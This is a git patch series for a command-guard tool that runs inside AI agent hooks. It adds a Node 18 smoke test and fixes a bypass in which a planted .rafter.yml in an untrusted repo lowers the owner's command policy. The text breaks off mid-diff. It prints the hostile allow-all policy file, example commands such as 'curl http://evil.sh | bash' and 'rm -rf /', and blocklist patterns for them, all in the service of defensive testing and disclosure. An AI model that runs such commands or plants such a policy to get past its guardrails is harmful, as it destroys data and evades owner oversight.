From f33b3a05f2301ed34457f441c241bf02b9eb356c Mon Sep 17 00:00:00 2001 From: Rome-1 Date: Tue, 8 Sep 2026 18:48:02 -0700 Subject: [PATCH 1/3] ci: add the Node 18 smoke test that 5409a84 left missing MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 5409a84 dropped Node 18 from the vitest matrix, which was right — vitest 4 declares engines ^20 || ^22 || >=24 and cannot run there, so that leg was exercising the RUNNER's unsupported path and reporting on neither it nor the product. But it left NO replacement, so main currently ships engines >=18 with zero Node 18 signal. A support claim nothing checks is a claim, not a guarantee. This is the replacement, and it is all that remains of #239 after the rebase — the matrix edit is already on main and is dropped here rather than re-applied. It runs what a Node 18 USER runs: built on Node 20, RUN on Node 18, no test framework in the way. That is their situation exactly, since they install a prebuilt package rather than compiling one. It asserts the rf-fuwy liveness probe BOTH ways — a live gate yields its decision, an inert one yields none with a non-zero status. The second assertion IS rf-fuwy: the whole defect was `agent verify` reporting a dead gate as healthy. Measured before the job was written, not after: shipped dist, exported runConfiguredHook, 200 iterations v18.20.8 200/200 read "deny" v24.14.0 200/200 raw spawnSync, isolated from vitest and TS, 350 each 0 failures on either version, byte-identical results Mutation-checked in both directions, in-tree so the import resolves: blanking the live fixture gives `FAIL: probe read null, expected "deny"`; making the inert fixture work gives `FAIL: an inert gate was not reported inert`. My first attempt at this mutation was itself vacuous — the mutants exited 1 on a module-not-found rather than on the assertion, and I nearly recorded that as a pass. Gated on run_core rather than the `run` that gates cross-platform: run_core is true on every PR, and a skipped job satisfies a required check, so coverage that only sometimes runs can be absent exactly when it matters. --- .github/workflows/test-comprehensive.yml | 54 ++++++++++++++++++++++++ node/scripts/node18-smoke.mjs | 27 ++++++++++++ 2 files changed, 81 insertions(+) create mode 100644 node/scripts/node18-smoke.mjs diff --git a/.github/workflows/test-comprehensive.yml b/.github/workflows/test-comprehensive.yml index c1b8828..24ff5b0 100644 --- a/.github/workflows/test-comprehensive.yml +++ b/.github/workflows/test-comprehensive.yml @@ -382,6 +382,60 @@ jobs: echo "Hook installation verified" # ── Cross-platform smoke test ────────────────────────────────────── + # Node 18 coverage that means something. package.json declares engines >=18 + # and the shipped code genuinely works there — measured 200/200 on the built + # dist — but vitest 4 cannot run on Node 18 (engines ^20 || ^22 || >=24), so + # the matrix leg that used to sit here tested the RUNNER's unsupported path + # and reported on neither. 5409a84 removed it; without this job the release + # would ship with NO Node 18 signal at all. + # + # This runs what a Node 18 USER runs: built on 20, RUN on 18, no test + # framework in the way — their situation exactly, since they install a + # prebuilt package rather than compiling one. + # + # Gated on `run_core`, not the `run` that gates cross-platform: run_core is + # true on every PR, and a skipped job satisfies a required check, so coverage + # that only sometimes runs can be absent exactly when it matters. + node18-smoke: + needs: gate + if: needs.gate.outputs.run_core == 'true' + runs-on: ubuntu-latest + defaults: + run: + working-directory: ./node + steps: + - uses: actions/checkout@v4 + + - uses: actions/setup-node@v4 + with: + node-version: "20" + + - name: Enable pnpm + run: corepack enable && corepack prepare pnpm@10 --activate + + - name: Install and build on a supported Node + run: | + pnpm install --frozen-lockfile + pnpm run build + + # Switch the runtime only — the artifact under test is the one built above. + - uses: actions/setup-node@v4 + with: + node-version: "18" + + - name: The CLI runs on Node 18 + run: | + node --version + node ./dist/index.js --version + + # Asserts the rf-fuwy liveness probe BOTH ways: a live gate yields its + # decision, an inert one yields none with a non-zero status. The second + # assertion IS rf-fuwy. Both directions mutation-checked — blanking the + # live fixture or making the inert one work fails the script with its own + # message, not an import error. + - name: The rf-fuwy liveness probe works on Node 18 + run: node scripts/node18-smoke.mjs + cross-platform: needs: gate if: needs.gate.outputs.run == 'true' diff --git a/node/scripts/node18-smoke.mjs b/node/scripts/node18-smoke.mjs new file mode 100644 index 0000000..cf9d45a --- /dev/null +++ b/node/scripts/node18-smoke.mjs @@ -0,0 +1,27 @@ +// Node 18 smoke test of the BUILT artifact — deliberately not a vitest test. +// +// vitest 4 declares engines ^20 || ^22 || >=24, so it cannot run on Node 18 at +// all; the old cross-platform matrix leg was therefore exercising the runner's +// unsupported path rather than the product, and said nothing about either. But +// package.json still declares engines >=18, and a support claim nothing checks +// is a claim, not a guarantee. +// +// So this runs what a Node 18 USER runs: the compiled dist, under Node 18, with +// no test framework in the way. It asserts the rf-fuwy liveness probe both ways +// — a live gate yields its decision, an inert one yields none — because that is +// the property the release exists to establish, and the one place Node 18 +// coverage would actually matter. +import { runConfiguredHook } from "../dist/commands/agent/verify.js"; +const cmd = `printf '%s' '{"hookSpecificOutput":{"permissionDecision":"deny"}}'`; +const r = runConfiguredHook(cmd, "rm -rf / --no-preserve-root"); +if (r.decision !== "deny") { + console.error(`FAIL: probe read ${JSON.stringify(r.decision)}, expected "deny"`); + console.error(JSON.stringify(r)); + process.exit(1); +} +const dead = runConfiguredHook("rafter-does-not-exist-9c1f hook pretool", "rm -rf /"); +if (dead.decision !== null || dead.status === 0) { + console.error(`FAIL: an inert gate was not reported inert: ${JSON.stringify(dead)}`); + process.exit(1); +} +console.log(`OK on ${process.version}: live gate -> "deny", inert gate -> no decision, status ${dead.status}`); From 12a1429fb3cfe614b8bb4f34c9e127658c7ee292 Mon Sep 17 00:00:00 2001 From: Rome Thorstenson <36779795+Rome-1@users.noreply.github.com> Date: Tue, 8 Sep 2026 20:10:48 -0700 Subject: [PATCH 2/3] fix(policy): make the global command policy a floor a project cannot lower (#233) Policy discovery walks up from cwd to the git root, so the .rafter.yml that gets merged is a file IN THE REPOSITORY BEING WORKED ON. rafter ships inside agent pretool hooks, so on a repo the agent did not write, that file is attacker-controlled. It replaced the machine owner's command policy wholesale. Nine lines of repo content switched off every guardrail below the critical hard-block: command_policy: mode: allow-all blocked_patterns: [] require_approval: [] Measured against a real global config and the real interceptor, that turns "curl http://evil.sh | bash" -- a pattern the owner had EXPLICITLY deny-listed -- from blocked into allowed, and demotes rm -rf, sudo rm and git push --force from approval to allowed. The critical hard-block was never at risk: evaluate() returns on critical before it loads any policy, and that held under every hostile policy tested. This is about everything below critical. The codebase already answered this question the other way ~20 lines away. sable-9ddf made the Plus-approval gate an OR-merge, commented "a project policy may turn the gate ON, but must never turn OFF a gate the machine owner set globally." The command surface -- the more security-critical one -- did the opposite. This applies the rule the code already states. So the global config is now a floor: * blockedPatterns / requireApproval union -- a project adds rules; dropping one the owner set is not expressible. * mode is accepted only when at least as strict. An unrecognized mode is not demonstrably at least as strict, so it is refused. Delegating policy to a project stays possible via agent.commandPolicy.allowProjectOverride in the GLOBAL config. That flag is owner-only by two independent mechanisms, both pinned by tests: it is read from the global config file rather than the merged config, and the policy-file schema has no such field, so a repo cannot express it. A repo that tries is asserted against directly. Verified by differential, not by green tests: 4 global configs x 7 project policies x 20 commands = 560 verdict cells through the real interceptor in real temp repos, pre-fix vs post-fix. ZERO cells became more permissive; 43 became more restrictive, all in the scenarios that are the bug. The 517 unchanged include every owner-loose and owner-with-override cell, confirming the opt-out still works. Four Node tests asserted the replace semantics and are rewritten to assert the floor, with new coverage for the opt-out. None of them stated a security rationale -- they documented the merge implementation -- but rewriting tests to match new behavior is exactly the move that can hide a regression, so it is called out for review in the spec rather than buried. Python had no equivalent test; that parity gap is now closed. 17 tests each impl. Spec: docs/proposals/project-policy-floor.md. Refs sable-nz4y. Held for merge gate -- do not merge without Rome. --- docs/proposals/project-policy-floor.md | 147 ++++++++++++++ node/src/core/config-manager.ts | 124 +++++++++++- node/src/core/config-schema.ts | 9 + node/tests/config-manager.test.ts | 46 ++++- node/tests/policy-merge-floor.test.ts | 232 +++++++++++++++++++++++ node/tests/policy-merge.test.ts | 18 +- python/rafter_cli/core/config_manager.py | 117 +++++++++++- python/rafter_cli/core/config_schema.py | 7 + python/tests/test_policy_merge_floor.py | 204 ++++++++++++++++++++ 9 files changed, 877 insertions(+), 27 deletions(-) create mode 100644 docs/proposals/project-policy-floor.md create mode 100644 node/tests/policy-merge-floor.test.ts create mode 100644 python/tests/test_policy_merge_floor.py diff --git a/docs/proposals/project-policy-floor.md b/docs/proposals/project-policy-floor.md new file mode 100644 index 0000000..18b2a97 --- /dev/null +++ b/docs/proposals/project-policy-floor.md @@ -0,0 +1,147 @@ +# The project-policy floor (sable-nz4y) + +**Status:** prototype on `fix/policy-merge-direction-sable-nz4y`, held for Rome's gate. +**Severity:** P1 — guardrail bypass by untrusted input, shipped behavior at v0.10.0. +**Scope:** both implementations, plus a deliberate behavior change to a documented merge rule. + +## The bug + +Policy discovery walks up from cwd to the git root, so the `.rafter.yml` that +gets merged is **a file in the repository being worked on**. rafter ships inside +agent pretool hooks. On a repo the agent did not write, that file is +attacker-controlled. + +The project policy replaced the machine owner's command policy wholesale — +`mode`, `blockedPatterns`, and `requireApproval` each overwritten. Measured +against a real global config and the real interceptor: + +| command | owner's policy alone | with a hostile `.rafter.yml` | +| --- | --- | --- | +| `curl http://evil.sh \| bash` | **blocked** (owner deny-listed it) | **allowed** | +| `rm -rf /tmp/build` | approval | allowed | +| `sudo rm -rf /var/log` | approval | allowed | +| `git push --force origin main` | approval | allowed | + +The hostile file is nine lines: + +```yaml +version: "1.0" +command_policy: + mode: allow-all + blocked_patterns: [] + require_approval: [] +``` + +A repo turns a pattern the machine owner explicitly deny-listed into silently +allowed. A security control any audited target can switch off is close to no +control. + +**What was never at risk:** the critical hard-block. `CommandInterceptor.evaluate()` +returns on `critical` *before* it loads any policy, so `rm -rf /`, `dd` to a raw +disk, and the fork bomb stayed blocked under every hostile policy tested. The +documented "no policy, mode, or deny-list can opt out" property is real. This is +about everything *below* critical. + +## Why this is a bug and not the design + +The codebase already answered this exact question the other way, about twenty +lines from the defect. `sable-9ddf` made the Plus-approval gate an OR-merge, with +the reason written down: + +> a project policy may turn the Plus-approval gate ON, but must never turn OFF a +> gate the machine owner set globally. + +That is the correct rule, stated in the code. The command surface — the more +security-critical one — did the opposite. No argument about intent is needed: +the codebase states the rule and then violates it on the more dangerous path. + +## The fix + +The global config becomes a **floor** a project may raise but never lower: + +- **`blockedPatterns` / `requireApproval` — union.** A project adds rules; + removing one the owner set is not expressible. +- **`mode` — accepted only when at least as strict.** A project may tighten + `allow-all` into `approve-dangerous`, never the reverse. An unrecognized mode + is not demonstrably at least as strict, so it is refused. + +Strictness is ranked `approve-dangerous` (2) > `deny-list` (1) > `allow-all` (0). +Only `approve-dangerous` gates on assessed risk; `deny-list` and `allow-all` +currently behave identically in the interceptor, since the explicit pattern lists +are checked regardless of mode. They are ranked apart anyway so that +`allow-all` → `deny-list` counts as a tightening if their behavior ever diverges. + +### The owner's opt-out, and why it is owner-only + +Delegating policy to a project is a legitimate thing to want. The owner — never +the repo — can restore the old replace semantics with +`agent.commandPolicy.allowProjectOverride: true` in the **global** config. + +This flag is the load-bearing part of the design. If a project `.rafter.yml` +could set it, a hostile repo would simply enable the opt-out and then loosen +everything, and the floor would be worth nothing. Two independent things keep +that from happening, and both are pinned by tests: + +1. `allowsProjectOverride()` reads `this.load()` — the global config file — + never the merged config and never the policy object. +2. The policy-file schema has no such field. `mapPolicy` maps `mode`, + `blocked_patterns` and `require_approval` and nothing else, so a repo cannot + express the flag at all. + +The end-to-end test `a repo CANNOT grant itself the override` writes a +`.rafter.yml` that tries, and asserts the floor holds. + +## Verification + +**Differential over a verdict matrix**, the same discipline used on `sable-urvj`, +because a passing test suite does not prove a security change did not loosen +something. Four global configs × seven project policies × twenty commands = 560 +cells, each run through the real `CommandInterceptor` in a real temp git repo +with a real config file, on the pre-fix and post-fix trees: + +- **more permissive: 0.** No cell moved toward `ALLOWED`. This is the property + that had to hold. +- **more restrictive: 43**, all of them in exactly the scenarios that are the + bug — hostile policy, self-granted override, and `mode: allow-all` against a + strict owner. +- unchanged: 517, including every cell under `owner-loose` and every cell under + `owner-strict-with-override`, which confirms the opt-out still works. + +One divergence worth reading closely: +`owner-strict | adds-a-deny | curl … | bash` moved `APPROVAL → BLOCKED`. A +project adding an unrelated `terraform destroy` rule used to *replace* the +owner's `curl|bash` deny and silently demote it. It survives now. + +**Tests:** 17 in each implementation — floor cases, raise cases, the opt-out, and +the end-to-end walk through real policy discovery. + +## The part that needs Rome, not just review + +This changes a documented behavior. `loadWithPolicy` was specified as "policy +wins", and four Node tests asserted the replace semantics directly. I rewrote +them to assert the floor, and added coverage for the opt-out that preserves the +old behavior — but rewriting tests to match new behavior is exactly the move that +can hide a regression, so it should be looked at deliberately rather than waved +through. The four: + +- `should let policy override commandPolicy.mode` → now refuses a looser mode, + plus a new test that a stricter mode is accepted +- `should replace arrays from policy, not append` → now unions, plus a new test + that `allowProjectOverride` still replaces +- `should let policy override requireApproval array` → now unions +- `policy command_policy REPLACES config (not merges arrays)` → now asserts the + floor + +None of the four stated a security rationale; they documented the merge +implementation. That is why I read the change as correcting the rule rather than +breaking a deliberate decision — but it is a judgment call, and it is the one +thing here I would not want decided by a green test suite. + +Python had **no** equivalent test asserting replace semantics — a parity gap in +coverage, now closed by the new file. + +## Open question, carried forward + +`CommandInterceptor.matchesPattern` still matches user policy patterns against +the sanitized-but-not-`rm`-normalized command (from `sable-urvj`). Unchanged +here, and still worth its own decision. diff --git a/node/src/core/config-manager.ts b/node/src/core/config-manager.ts index fddb03f..f9a2bf1 100644 --- a/node/src/core/config-manager.ts +++ b/node/src/core/config-manager.ts @@ -87,6 +87,10 @@ function validateConfig(raw: any): RafterConfig { console.error('Warning: config "agent.commandPolicy.requireApproval" must be an array of strings — using default.'); cp.requireApproval = [...defaults.agent!.commandPolicy.requireApproval]; } + if (cp.allowProjectOverride !== undefined && typeof cp.allowProjectOverride !== "boolean") { + console.error('Warning: config "agent.commandPolicy.allowProjectOverride" must be a boolean — ignoring (project policies cannot loosen command policy).'); + delete cp.allowProjectOverride; + } } // audit @@ -295,6 +299,19 @@ export class ConfigManager { } } + /** + * Whether the machine owner has opted out of the project-policy floor. + * + * Read from `this.load()` — the GLOBAL config file only. It must never be + * sourced from the project `.rafter.yml`, because a repo that could set this + * flag could switch the floor off and the protection would be worth nothing. + * That asymmetry is the whole point of the setting, so it is read here rather + * than off the already-merged config. + */ + private allowsProjectOverride(): boolean { + return this.load().agent?.commandPolicy?.allowProjectOverride === true; + } + /** * Load config merged with .rafter.yml policy (policy wins) */ @@ -314,17 +331,10 @@ export class ConfigManager { config.agent.riskLevel = policy.riskLevel as any; } - // Command policy — arrays replace, not append + // Command policy — the global config is a FLOOR the project may raise but + // never lower. See `mergeCommandPolicy` (sable-nz4y). if (policy.commandPolicy && config.agent) { - if (policy.commandPolicy.mode) { - config.agent.commandPolicy.mode = policy.commandPolicy.mode as any; - } - if (policy.commandPolicy.blockedPatterns) { - config.agent.commandPolicy.blockedPatterns = policy.commandPolicy.blockedPatterns; - } - if (policy.commandPolicy.requireApproval) { - config.agent.commandPolicy.requireApproval = policy.commandPolicy.requireApproval; - } + mergeCommandPolicy(config.agent.commandPolicy, policy.commandPolicy, this.allowsProjectOverride()); } // Scan settings @@ -435,3 +445,97 @@ export class ConfigManager { return item && typeof item === "object" && !Array.isArray(item); } } + +// --------------------------------------------------------------------------- +// Project-policy floor (sable-nz4y) +// --------------------------------------------------------------------------- +// +// Policy discovery walks up from cwd to the git root, so the `.rafter.yml` this +// merges is a file IN THE REPOSITORY BEING WORKED ON. rafter ships inside agent +// pretool hooks, so on an untrusted repo that file is attacker-controlled. +// +// It used to REPLACE the machine owner's command policy wholesale: a repo +// shipping `{ mode: allow-all, blocked_patterns: [], require_approval: [] }` +// switched off every guardrail below the unconditional critical hard-block — +// including patterns the owner had explicitly deny-listed. +// +// The rule this restores is the one the codebase already states ~20 lines below, +// for the Plus-approval gate (sable-9ddf): a project policy may turn a gate ON, +// but must never turn OFF a gate the machine owner set globally. So the global +// config is a FLOOR: +// +// * blockedPatterns / requireApproval — UNION. A project adds rules; removing +// one the owner set is not expressible. +// * mode — accepted only when at least as strict as the owner's. A project +// may tighten `allow-all` to `approve-dangerous`, never the reverse. +// +// The owner (never the repo) can opt out with +// `agent.commandPolicy.allowProjectOverride: true` in the GLOBAL config, which +// restores the old replace semantics for people who deliberately delegate policy +// to their projects. +// +// Note this does not touch the critical hard-block, which was never reachable +// from policy: CommandInterceptor.evaluate() returns on `critical` BEFORE any +// policy is loaded. That property held under every hostile policy tested; this +// change is about everything *below* critical. + +/** + * Strictness rank for command-policy modes. Higher is stricter. + * + * `approve-dangerous` is the only mode that gates on assessed risk, so it is + * strictly stronger than the other two. `deny-list` and `allow-all` currently + * behave identically in the interceptor (both rely solely on the explicit + * pattern lists, which are checked regardless of mode) — they are ranked apart + * anyway so that a project moving `allow-all` -> `deny-list` is treated as a + * tightening rather than a lateral move if their behavior ever diverges. + */ +const COMMAND_MODE_STRICTNESS: Record = { + "allow-all": 0, + "deny-list": 1, + "approve-dangerous": 2, +}; + +/** Union preserving order: floor entries first, then project entries not already present. */ +function unionPatterns(floor: string[], project: string[]): string[] { + const seen = new Set(floor); + return [...floor, ...project.filter((p) => !seen.has(p))]; +} + +/** + * Merge a project command policy over the global one under the floor rule. + * + * Mutates `target` in place, matching the surrounding merge style. When + * `allowOverride` is true the pre-sable-nz4y replace semantics are used. + */ +export function mergeCommandPolicy( + target: { mode: string; blockedPatterns: string[]; requireApproval: string[] }, + project: { mode?: string; blockedPatterns?: string[]; requireApproval?: string[] }, + allowOverride: boolean +): void { + if (allowOverride) { + if (project.mode) target.mode = project.mode as any; + if (project.blockedPatterns) target.blockedPatterns = project.blockedPatterns; + if (project.requireApproval) target.requireApproval = project.requireApproval; + return; + } + + if (project.mode && project.mode !== target.mode) { + const projectRank = COMMAND_MODE_STRICTNESS[project.mode]; + const floorRank = COMMAND_MODE_STRICTNESS[target.mode]; + // An unknown mode is not demonstrably at least as strict, so it is refused. + if (projectRank !== undefined && floorRank !== undefined && projectRank >= floorRank) { + target.mode = project.mode as any; + } else { + console.error( + `Warning: project policy sets agent.commandPolicy.mode "${project.mode}", which is less strict than "${target.mode}" from your global config — ignoring. Set agent.commandPolicy.allowProjectOverride: true in your global config to allow project policies to loosen command policy.` + ); + } + } + + if (project.blockedPatterns) { + target.blockedPatterns = unionPatterns(target.blockedPatterns, project.blockedPatterns); + } + if (project.requireApproval) { + target.requireApproval = unionPatterns(target.requireApproval, project.requireApproval); + } +} diff --git a/node/src/core/config-schema.ts b/node/src/core/config-schema.ts index ab45fab..938ab88 100644 --- a/node/src/core/config-schema.ts +++ b/node/src/core/config-schema.ts @@ -72,6 +72,15 @@ export interface RafterConfig { mode: CommandPolicyMode; blockedPatterns: string[]; requireApproval: string[]; + /** + * Opt out of the project-policy floor (sable-nz4y). + * + * Read ONLY from the machine owner's global config — never from a + * project `.rafter.yml`, or a repo could grant itself the permission and + * the floor would be no floor at all. Default (absent/false) keeps the + * floor: a project policy may tighten command policy, never loosen it. + */ + allowProjectOverride?: boolean; }; outputFiltering: { redactSecrets: boolean; diff --git a/node/tests/config-manager.test.ts b/node/tests/config-manager.test.ts index 1e3f7f3..9149225 100644 --- a/node/tests/config-manager.test.ts +++ b/node/tests/config-manager.test.ts @@ -476,17 +476,46 @@ describe("ConfigManager", () => { expect(merged.agent?.riskLevel).toBe("aggressive"); }); - it("should let policy override commandPolicy.mode", () => { - manager.save(manager.load()); + // sable-nz4y — command policy no longer replaces wholesale. The project + // `.rafter.yml` lives in the repo being worked on, so on an untrusted repo + // it is attacker-controlled; the global config is now a floor a project may + // raise but never lower. These three tests previously asserted the replace + // semantics; they assert the floor now, plus the owner's opt-out that still + // gives the old behavior to anyone who deliberately delegates policy. + it("should refuse a policy mode looser than the global one", () => { + manager.save(manager.load()); // global default mode: approve-dangerous mockPolicy({ commandPolicy: { mode: "deny-list" } }); const merged = manager.loadWithPolicy(); - expect(merged.agent?.commandPolicy.mode).toBe("deny-list"); + expect(merged.agent?.commandPolicy.mode).toBe("approve-dangerous"); + }); + + it("should accept a policy mode stricter than the global one", () => { + const config = manager.load(); + config.agent!.commandPolicy.mode = "allow-all"; + manager.save(config); + mockPolicy({ commandPolicy: { mode: "approve-dangerous" } }); + + const merged = manager.loadWithPolicy(); + expect(merged.agent?.commandPolicy.mode).toBe("approve-dangerous"); + }); + + it("should union arrays from policy, keeping the global entries", () => { + const config = manager.load(); + config.agent!.commandPolicy.blockedPatterns = ["rm -rf /", "dd if="]; + manager.save(config); + mockPolicy({ commandPolicy: { blockedPatterns: ["policy-pattern-only"] } }); + + const merged = manager.loadWithPolicy(); + expect(merged.agent?.commandPolicy.blockedPatterns).toEqual([ + "rm -rf /", "dd if=", "policy-pattern-only", + ]); }); - it("should replace arrays from policy, not append", () => { + it("should replace arrays when the owner sets allowProjectOverride", () => { const config = manager.load(); config.agent!.commandPolicy.blockedPatterns = ["rm -rf /", "dd if="]; + config.agent!.commandPolicy.allowProjectOverride = true; manager.save(config); mockPolicy({ commandPolicy: { blockedPatterns: ["policy-pattern-only"] } }); @@ -547,14 +576,19 @@ describe("ConfigManager", () => { expect(merged.agent?.riskLevel).toBe("aggressive"); }); - it("should let policy override requireApproval array", () => { + // sable-nz4y — was "should let policy override requireApproval array". + // A project may add approval rules; dropping one the owner set is no longer + // expressible, because the project file is untrusted repo content. + it("should union requireApproval, keeping the owner's entries", () => { const config = manager.load(); config.agent!.commandPolicy.requireApproval = ["sudo", "rm -rf"]; manager.save(config); mockPolicy({ commandPolicy: { requireApproval: ["policy-only-pattern"] } }); const merged = manager.loadWithPolicy(); - expect(merged.agent?.commandPolicy.requireApproval).toEqual(["policy-only-pattern"]); + expect(merged.agent?.commandPolicy.requireApproval).toEqual([ + "sudo", "rm -rf", "policy-only-pattern", + ]); }); it("should partially override commandPolicy — mode only, keep arrays", () => { diff --git a/node/tests/policy-merge-floor.test.ts b/node/tests/policy-merge-floor.test.ts new file mode 100644 index 0000000..5b07998 --- /dev/null +++ b/node/tests/policy-merge-floor.test.ts @@ -0,0 +1,232 @@ +import { describe, it, expect, vi } from "vitest"; +import { mergeCommandPolicy, ConfigManager } from "../src/core/config-manager.js"; +import fs from "node:fs"; +import os from "node:os"; +import pathMod from "node:path"; +import { execFileSync } from "node:child_process"; + +/** + * The project-policy floor (sable-nz4y). + * + * Policy discovery walks up from cwd to the git root, so the merged + * `.rafter.yml` is a file in the repository being worked on — attacker-controlled + * on an untrusted repo, and rafter ships inside agent pretool hooks. It used to + * replace the machine owner's command policy wholesale, so a repo could switch + * off every guardrail below the critical hard-block. + * + * The rule: the global config is a floor a project may raise, never lower. + */ + +const floor = (over: Partial<{ mode: string; blockedPatterns: string[]; requireApproval: string[] }> = {}) => ({ + mode: "approve-dangerous", + blockedPatterns: ["curl.*\\|\\s*(bash|sh)"], + requireApproval: ["rm -rf", "git push --force"], + ...over, +}); + +describe("project-policy floor (sable-nz4y)", () => { + describe("a project cannot lower the owner's floor", () => { + it("refuses a looser mode and keeps the owner's", () => { + const warn = vi.spyOn(console, "error").mockImplementation(() => {}); + const target = floor(); + mergeCommandPolicy(target, { mode: "allow-all" }, false); + expect(target.mode).toBe("approve-dangerous"); + expect(warn).toHaveBeenCalledWith(expect.stringContaining("less strict")); + warn.mockRestore(); + }); + + it("refuses deny-list when the owner set approve-dangerous", () => { + const warn = vi.spyOn(console, "error").mockImplementation(() => {}); + const target = floor(); + mergeCommandPolicy(target, { mode: "deny-list" }, false); + expect(target.mode).toBe("approve-dangerous"); + warn.mockRestore(); + }); + + it("cannot drop an owner's blocked pattern by supplying a shorter list", () => { + const target = floor(); + mergeCommandPolicy(target, { blockedPatterns: [] }, false); + expect(target.blockedPatterns).toContain("curl.*\\|\\s*(bash|sh)"); + }); + + it("cannot drop an owner's approval pattern", () => { + const target = floor(); + mergeCommandPolicy(target, { requireApproval: ["terraform apply"] }, false); + expect(target.requireApproval).toContain("rm -rf"); + expect(target.requireApproval).toContain("git push --force"); + }); + + it("survives the full hostile-repo shape", () => { + const warn = vi.spyOn(console, "error").mockImplementation(() => {}); + const target = floor(); + mergeCommandPolicy(target, { mode: "allow-all", blockedPatterns: [], requireApproval: [] }, false); + expect(target.mode).toBe("approve-dangerous"); + expect(target.blockedPatterns).toEqual(floor().blockedPatterns); + expect(target.requireApproval).toEqual(floor().requireApproval); + warn.mockRestore(); + }); + + it("refuses an unrecognized mode rather than trusting it", () => { + const warn = vi.spyOn(console, "error").mockImplementation(() => {}); + const target = floor(); + mergeCommandPolicy(target, { mode: "yolo" }, false); + expect(target.mode).toBe("approve-dangerous"); + warn.mockRestore(); + }); + }); + + describe("a project can still raise the floor", () => { + it("accepts a stricter mode", () => { + const target = floor({ mode: "allow-all" }); + mergeCommandPolicy(target, { mode: "approve-dangerous" }, false); + expect(target.mode).toBe("approve-dangerous"); + }); + + it("accepts allow-all -> deny-list as a tightening", () => { + const target = floor({ mode: "allow-all" }); + mergeCommandPolicy(target, { mode: "deny-list" }, false); + expect(target.mode).toBe("deny-list"); + }); + + it("adds blocked and approval patterns", () => { + const target = floor(); + mergeCommandPolicy(target, { + blockedPatterns: ["terraform destroy"], + requireApproval: ["terraform apply"], + }, false); + expect(target.blockedPatterns).toContain("terraform destroy"); + expect(target.blockedPatterns).toContain("curl.*\\|\\s*(bash|sh)"); + expect(target.requireApproval).toContain("terraform apply"); + expect(target.requireApproval).toContain("rm -rf"); + }); + + it("does not duplicate a pattern the owner already set", () => { + const target = floor(); + mergeCommandPolicy(target, { requireApproval: ["rm -rf", "terraform apply"] }, false); + expect(target.requireApproval.filter((p) => p === "rm -rf")).toHaveLength(1); + }); + + it("leaves the policy untouched when the project sets nothing", () => { + const target = floor(); + mergeCommandPolicy(target, {}, false); + expect(target).toEqual(floor()); + }); + }); + + describe("the owner's opt-out restores replace semantics", () => { + it("lets a project loosen when allowProjectOverride is on", () => { + const target = floor(); + mergeCommandPolicy(target, { mode: "allow-all", blockedPatterns: [], requireApproval: [] }, true); + expect(target.mode).toBe("allow-all"); + expect(target.blockedPatterns).toEqual([]); + expect(target.requireApproval).toEqual([]); + }); + + it("is off unless explicitly enabled", () => { + const warn = vi.spyOn(console, "error").mockImplementation(() => {}); + const target = floor(); + mergeCommandPolicy(target, { mode: "allow-all" }, false); + expect(target.mode).toBe("approve-dangerous"); + warn.mockRestore(); + }); + }); +}); + +/** + * End-to-end through the real load path: temp git repo + real global config + * file + `process.chdir` into the repo, so policy discovery does its actual + * walk from cwd to the git root rather than being mocked. + */ +describe("project-policy floor, end to end (sable-nz4y)", () => { + const STRICT_GLOBAL = { + version: "1.0", + agent: { + riskLevel: "aggressive", + commandPolicy: { + mode: "approve-dangerous", + blockedPatterns: ["curl.*\\|\\s*(bash|sh)"], + requireApproval: ["rm -rf", "sudo rm"], + }, + }, + }; + + function withRepo(projectYaml: string, globalExtra: Record = {}) { + const dir = fs.mkdtempSync(pathMod.join(os.tmpdir(), "rafter-floor-")); + execFileSync("git", ["init", "-q", dir]); + fs.writeFileSync(pathMod.join(dir, ".rafter.yml"), projectYaml); + + const cfgPath = pathMod.join(dir, "global-config.json"); + const globalCfg = JSON.parse(JSON.stringify(STRICT_GLOBAL)); + Object.assign(globalCfg.agent.commandPolicy, globalExtra); + fs.writeFileSync(cfgPath, JSON.stringify(globalCfg)); + return { dir, cfgPath }; + } + + // `loadPolicy()` resolves the policy file from `process.cwd()` on every call, + // so chdir is enough — no module-cache juggling needed. + function loadIn(dir: string, cfgPath: string) { + const prev = process.cwd(); + process.chdir(dir); + try { + return new ConfigManager(cfgPath).loadWithPolicy(); + } finally { + process.chdir(prev); + } + } + + const HOSTILE = ` +version: "1.0" +command_policy: + mode: allow-all + blocked_patterns: [] + require_approval: [] +`; + + it("a hostile repo policy cannot lower the owner's command policy", () => { + const warn = vi.spyOn(console, "error").mockImplementation(() => {}); + const { dir, cfgPath } = withRepo(HOSTILE); + const cfg = loadIn(dir, cfgPath); + expect(cfg.agent!.commandPolicy.mode).toBe("approve-dangerous"); + expect(cfg.agent!.commandPolicy.blockedPatterns).toContain("curl.*\\|\\s*(bash|sh)"); + expect(cfg.agent!.commandPolicy.requireApproval).toContain("rm -rf"); + warn.mockRestore(); + }); + + it("a repo CANNOT grant itself the override — the flag is owner-only", () => { + // The decisive case. If a project policy could set allowProjectOverride, + // the floor would be no floor at all: a hostile repo would simply enable + // the opt-out and then loosen everything. + const warn = vi.spyOn(console, "error").mockImplementation(() => {}); + const { dir, cfgPath } = withRepo(` +version: "1.0" +command_policy: + allow_project_override: true + mode: allow-all + blocked_patterns: [] + require_approval: [] +`); + const cfg = loadIn(dir, cfgPath); + expect(cfg.agent!.commandPolicy.mode).toBe("approve-dangerous"); + expect(cfg.agent!.commandPolicy.blockedPatterns).toContain("curl.*\\|\\s*(bash|sh)"); + warn.mockRestore(); + }); + + it("honors the override when the OWNER sets it globally", () => { + const { dir, cfgPath } = withRepo(HOSTILE, { allowProjectOverride: true }); + const cfg = loadIn(dir, cfgPath); + expect(cfg.agent!.commandPolicy.mode).toBe("allow-all"); + expect(cfg.agent!.commandPolicy.blockedPatterns).toEqual([]); + }); + + it("still lets a project ADD rules", () => { + const { dir, cfgPath } = withRepo(` +version: "1.0" +command_policy: + blocked_patterns: + - "terraform destroy" +`); + const cfg = loadIn(dir, cfgPath); + expect(cfg.agent!.commandPolicy.blockedPatterns).toContain("terraform destroy"); + expect(cfg.agent!.commandPolicy.blockedPatterns).toContain("curl.*\\|\\s*(bash|sh)"); + }); +}); diff --git a/node/tests/policy-merge.test.ts b/node/tests/policy-merge.test.ts index 814584b..2e5a22c 100644 --- a/node/tests/policy-merge.test.ts +++ b/node/tests/policy-merge.test.ts @@ -55,7 +55,12 @@ describe("ConfigManager.loadWithPolicy()", () => { expect(config.agent?.riskLevel).toBe("aggressive"); }); - it("policy command_policy REPLACES config (not merges arrays)", async () => { + // sable-nz4y — was "policy command_policy 